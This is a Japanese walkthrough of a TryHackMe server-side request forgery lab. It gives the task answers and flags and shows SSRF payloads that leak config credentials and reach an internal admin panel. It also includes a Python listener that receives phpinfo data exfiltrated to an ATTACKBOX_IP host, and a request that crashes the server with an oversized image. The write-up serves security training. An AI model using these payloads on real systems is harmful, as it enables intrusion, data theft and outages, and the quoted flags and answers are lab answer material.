【TryHackMe】SSRF：Walkthrough

# 概要

TryHackMe「SSRF」のWalkthroughです。

https://tryhackme.com/r/room/ssrfhr

# Task2

## **Q1**.*What is the average weighted impact for the SSRF vulnerability as per the OWASP Top 10?*

**A**.**6.72**

# Task3

## **Q1**.*What is the username for the HRMS login panel?*

`/?url=localhost/copyright`にアクセスします。

![task3 q1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c6661552-6262-eba7-e56a-97a150b9a70e.jpeg)

copyrightの要素で、`url`パラメータでパスを受け取って`file_get_contents()`しています。

```
$uri = rtrim($_GET['url'], "/");
...					
$path = ROOTPATH . $file;
...
if (file_exists($path)) {
  echo "<pre>";
  echo htmlspecialchars(file_get_contents($path));
  echo "</pre>";
  } else { ?>
    <p class="text-xl"><?= ltrim($file, "/") ?> is not found</p>
 <?php
... 
```

`/?url=localhost/config`にアクセスすると設定情報が表示されました。

![task3 q1 config.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1b2a1576-ed65-2dba-956c-9dd7ab772b98.jpeg)

**A**.**hrmsadmin**

## **Q2**.*What is the password for the HRMS login panel?*

**A**.**hrmsadmin@123**

## **Q3**.*What is the admin URL as per the config file?*

**A**.**http\:\/\/192.168.2.10\/admin.php**

## **Q4**.*What is the flag value after successfully logging in to the HRMS web panel?*

管理パネルにログインでき、フラグを入手します。

![task3 q4 flag.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/899ac092-8910-4403-d4cb-2430b8511b2a.jpeg)

**A**.**THM_{1NiT_S$rF}**

# Task4

## **Q1**.*Is accessing non-routable addresses possible if a server is vulnerable to SSRF (yea/nay)?*

**A**.**yea**

## **Q2**.*What is the flag value after accessing the admin panel?*

`internal-database.hrms.thm`にログインします。

![task4 q2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7374db4d-42de-531b-ca85-8595f22debe3.jpeg)

ソースコードを見るとローカルアドレスからデータを取得しています。

![task4 q2 local.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6afe815f-a4a4-55fa-6eff-49b5376319c1.jpeg)

管理パネルのアドレスが、`http://192.168.2.10/admin.php`と分かっているので宛先アドレスを変更します。

![task4 q2 edit url.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/da5c8d0e-abbc-ba1f-2287-be47c5da284a.jpeg)

`Select Category`を`salary`に変更すると管理パネルが表示されました。

![task4 q2 admin panel.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4251ceba-2bd0-501b-7d25-86fa359315f6.jpeg)

**A**.**THM_{B\@\\$ic_s\\$rF}**

# Task5

## **Q1**.*Does Out-of-band SSRF always include a technique in which an attacker always receives direct responses from the server (yea/nay)?*

**A**.**nay**

## **Q2**.*What is the value for Virtual Directory Support on the PHP server per the logged data?*

`http://hrms.thm/profile.php?url=localhost/getInfo.php`にアクセスします。

![task5 q1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a54953a0-e64e-38f1-0ef7-ddc2e262e666.jpeg)

`profile.php`では`url`パラメータで指定されたアドレスにPOSTリクエストを送信しています。

```profile.php
<?php
...
$targetUrl = $_GET['url'];
ob_start();
ob_start();
phpinfo();
$phpInfoData = ob_get_clean();
$ch = curl_init($targetUrl); 
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,$phpInfoData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch); 
...
?>
```

`server.py`を作成します。

```server.py
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
class CustomRequestHandler(SimpleHTTPRequestHandler):

    def end_headers(self):
        self.send_header('Access-Control-Allow-Origin', '*')  # Allow requests from any origin
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')
        super().end_headers()

    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Hello, GET request!')

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode('utf-8')

        self.send_response(200)
        self.end_headers()

        # Log the POST data to data.html
        with open('data.html', 'a') as file:
            file.write(post_data + '\n')
        response = f'THM, POST request! Received data: {post_data}'
        self.wfile.write(response.encode('utf-8'))

if __name__ == '__main__':
    server_address = ('', 8080)
    httpd = HTTPServer(server_address, CustomRequestHandler)
    print('Server running on http://localhost:8080/')
    httpd.serve_forever()
```

`server.py`を実行し、HTTPサーバーを起動します。

```
$ python server.py           
Server running on http://localhost:8080/
```

`http://hrms.thm/profile.php?url=http://ATTACKBOX_IP:8080`にアクセスすると`profile.php`でPOSTリクエストしていたデータを取得できました。
取得したデータを基に`data.html`が作成されました。

![task5 data html.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1818d01f-ab50-a63e-a138-9cc8a23b3eb7.jpeg)

**A**.**disabled**

## **Q3**.*What is the value of the PHP Extension Build on the server?*

**A**.**API20190902,NTS**

## **Q4**.*Which type of SSRF doesn't give us a direct response or feedback?*

**A**.**Blind**

# Task6

## **Q1**.*What is the flag value after loading a big image exceeding 100KB?*

`http://hrms.thm/url.php?id=192.168.2.10/trainingbanner.jpg`にアクセスします。

![task6.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/69b0bb71-4366-d7d2-6878-32abd6a7b15b.jpeg)

`url.php`はサイズ`100KB`以下の画像を表示する処理をしています。

```url.php
<?php
....
....
    if ($imageSize < 100) {
		  // Output the image if it's within the size limit
    
		$base64Image = downloadAndEncodeImage($imageUrl);
        echo '<img src="' . htmlspecialchars($base64Image) . '" alt="Image" style="width: 100%; height: 100%; object-fit: cover;">';

    } else {
	 	// Memory Outage - server will crash
    
....
...
```

`?id=10.10.10.10`に変更し、アクセスすると`100KB`を超え、エラーが発生しました。

![task6 10 10.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/44d8f6a3-6cd3-7ad7-71fc-2e5c2b294b9d.jpeg)

`?id=192.168.2.10/bigImage.jpg`にアクセスし、`100KB`を超える画像を読み込ませるとサーバーがクラッシュしました。

![task6 flag.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6d14842c-3745-2b64-adba-ab0feb18ca04.jpeg)

**A**.**THM_{$$rF_Cr@$h3D}**

# Task7

## **Q1**.*Which of the following is the suggested approach while handling trusted URLs? Write the correct option only. a) Filter out disallowed URLs. b) Maintaining an allowlist of trusted URLs.*

**A**.**b**

## **Q2**.*Since SSRF mainly exploits server-side requests, is it optional to sanitise the input URLs or parameters (yea/nay)?*

**A**.**nay**